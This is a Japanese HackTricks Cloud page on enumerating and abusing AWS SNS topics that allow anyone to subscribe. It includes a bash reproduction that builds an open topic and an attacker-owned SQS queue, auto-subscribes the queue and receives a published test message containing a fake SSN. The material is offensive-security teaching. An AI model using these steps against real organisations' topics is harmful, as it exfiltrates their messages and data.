AWS - SNS 未認証の列挙

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SNS

For more information about SNS check:

AWS - SNS Enum

全員に公開

Web コンソールから SNS トピックを設定する際、トピックに対して Everyone can publish and subscribe と指定することができます:

したがって、アカウント内のトピックの ARN を見つける(またはトピック名を brute forcing して見つける)ことができれば、それらに対して publish または subscribe できるかを 確認 できます。

これは、SNS トピックのリソースポリシーが sns:Subscribe*(または外部アカウント)に許可しているのと同等です。任意の principal は、今後のすべてのトピックメッセージを自身が所有する SQS キューに配信するサブスクリプションを作成できます。キューの所有者がサブスクリプションを開始した場合、SQS エンドポイントに対して人間の確認は不要です。

再現 (us-east-1) ```bash REGION=us-east-1 # Victim account (topic owner) VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

Open the topic to anyone subscribing

cat > /tmp/topic-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“OpenSubscribe”,“Effect”:“Allow”,“Principal”:“*”,“Action”:“sns:Subscribe”,“Resource”:“$VICTIM_TOPIC_ARN”}]} JSON aws sns set-topic-attributes –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –attribute-name Policy –attribute-value file:///tmp/topic-policy.json

Attacker account (queue owner)

ATTACKER_Q_URL=$(aws sqs create-queue –queue-name attacker-exfil-queue-$(date +%s) –region $REGION –query QueueUrl –output text) ATTACKER_Q_ARN=$(aws sqs get-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attribute-names QueueArn –query Attributes.QueueArn –output text)

Allow the victim topic to send to the attacker queue

cat > /tmp/sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowVictimTopicSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$ATTACKER_Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$VICTIM_TOPIC_ARN”}}}]} JSON aws sqs set-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attributes Policy=“$(cat /tmp/sqs-policy.json)”

Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)

SUB_ARN=$(aws sns subscribe –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –protocol sqs –notification-endpoint “$ATTACKER_Q_ARN” –query SubscriptionArn –output text)

Validation: publish and receive

aws sns publish –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –message {pii:ssn:123-45-6789} aws sqs receive-message –queue-url “$ATTACKER_Q_URL” –region $REGION –max-number-of-messages 1 –wait-time-seconds 10 –query Messages[0].Body –output text

</details>

> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>